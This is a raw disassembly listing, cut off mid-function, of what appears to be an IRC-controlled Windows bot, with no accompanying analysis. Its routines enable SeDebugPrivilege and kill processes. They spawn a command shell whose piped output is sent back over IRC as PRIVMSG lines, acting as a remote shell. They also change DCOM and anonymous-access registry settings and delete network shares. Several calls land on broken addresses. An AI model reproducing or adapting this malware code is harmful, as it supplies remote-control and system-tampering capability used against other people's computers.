		cmp	dword_4CAFC4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAFA8, ebx
		jz	loc_4198BB
		cmp	dword_4CAEB8, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAFC4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAFA8
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAEB8
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396F0

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439750
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 2710C10h
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAFC4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE64
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAEB8
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2710C10h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398F0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398CC
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_4398A8

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 2690805h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 2710C10h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2670909h

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396ECh, 6A90E890h, 0E3EB0227h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB228
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB230
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB224
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB22C
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D158
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 26904AEh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB234

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB228
		nop
		call	near ptr 284094Eh
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB224
		nop
		call	near ptr 2840410h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		call	near ptr 26904AEh
		nop
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB228
		call	near ptr 2710000h
		nop
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439978
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		call	near ptr 26F0000h
		nop

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439950
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439920
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43353C
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB22C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D158
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB228, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB230, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB224, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB268, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB234
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399DC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEE8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 269053Ch
		cmp	eax, esi
		mov	dword_43DEF4[edi], eax
		jnz	short loc_419E12
		call	near ptr 2690DF2h
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_4399A8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB074, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438754
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C78
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C58

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C28
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BD8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439BA4

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B68
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B38

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEE8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_439A00

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439B14
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AE8

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_439A20
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439AC4
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A98

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB034

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A70
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB074, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438798
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DF0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DD4

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
